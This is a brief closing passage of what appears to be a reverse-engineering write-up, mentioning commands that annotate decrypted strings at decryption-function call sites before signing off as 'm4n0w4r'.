commands to set comment for the decrypted strings above at the address where the decrypt function is called. 

The final result is as follows:

End.

m4n0w4r